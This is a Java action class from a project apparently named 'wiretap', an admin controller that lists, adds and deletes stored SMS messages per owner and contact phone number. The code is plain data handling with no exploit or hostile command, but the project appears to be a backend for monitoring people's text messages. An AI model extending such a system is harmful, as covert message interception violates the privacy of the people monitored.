package com.wiretap.action.admin.manage;

import java.io.PrintWriter;

import com.wiretap.action.WiretapActionSupport;
import com.wiretap.po.RemoteSms;
import com.wiretap.service.RemoteSmsService;
import com.wiretap.util.CommenUtil;
import com.wiretap.util.Constants;
import com.wiretap.util.Pager;

public class RemoteSmsManageAction extends WiretapActionSupport {

	private static final long serialVersionUID = -4547870392343925920L;
	private int cPage;
	private Pager<RemoteSms> smss;
	private RemoteSmsService remoteSmsService;
	private String ownerPhone;
	private String contactPhone;
	private String content;
	private String rid;

	@Override
	public String execute() throws Exception {
		cPage = cPage < 1 ? 1 : cPage;
		if (!CommenUtil.isEmpty(ownerPhone) && !CommenUtil.isEmpty(contactPhone)) {
			smss = remoteSmsService.getContactRemoteSms(ownerPhone, contactPhone, cPage, Constants.DEFAULT_PAGESIEZE);
		}
		return SUCCESS;
	}

	public void addRemoteSms() throws Exception {
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		try {
			remoteSmsService.addRemoteSms(ownerPhone, content, contactPhone);
			out.print("success");
		} catch (Exception e) {
			out.print("failed");
			e.printStackTrace();
		}
		out.flush();
		out.close();
	}

	public void deleteRemoteSms() throws Exception {
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		if (!CommenUtil.isEmpty(rid)) {
			if (remoteSmsService.deleteRemoteSms(rid)) {
				out.print("success");
			} else {
				out.print("failed");
			}
		} else {
			out.print("failed");
		}
		out.flush();
		out.close();
	}

	public int getcPage() {
		return cPage;
	}

	public void setcPage(int cPage) {
		this.cPage = cPage;
	}

	public Pager<RemoteSms> getSmss() {
		return smss;
	}

	public void setSmss(Pager<RemoteSms> smss) {
		this.smss = smss;
	}

	public RemoteSmsService getRemoteSmsService() {
		return remoteSmsService;
	}

	public void setRemoteSmsService(RemoteSmsService remoteSmsService) {
		this.remoteSmsService = remoteSmsService;
	}

	public String getOwnerPhone() {
		return ownerPhone;
	}

	public void setOwnerPhone(String ownerPhone) {
		this.ownerPhone = ownerPhone;
	}

	public String getContactPhone() {
		return contactPhone;
	}

	public void setContactPhone(String contactPhone) {
		this.contactPhone = contactPhone;
	}

	public String getContent() {
		return content;
	}

	public void setContent(String content) {
		this.content = content;
	}

	public String getRid() {
		return rid;
	}

	public void setRid(String rid) {
		this.rid = rid;
	}

}
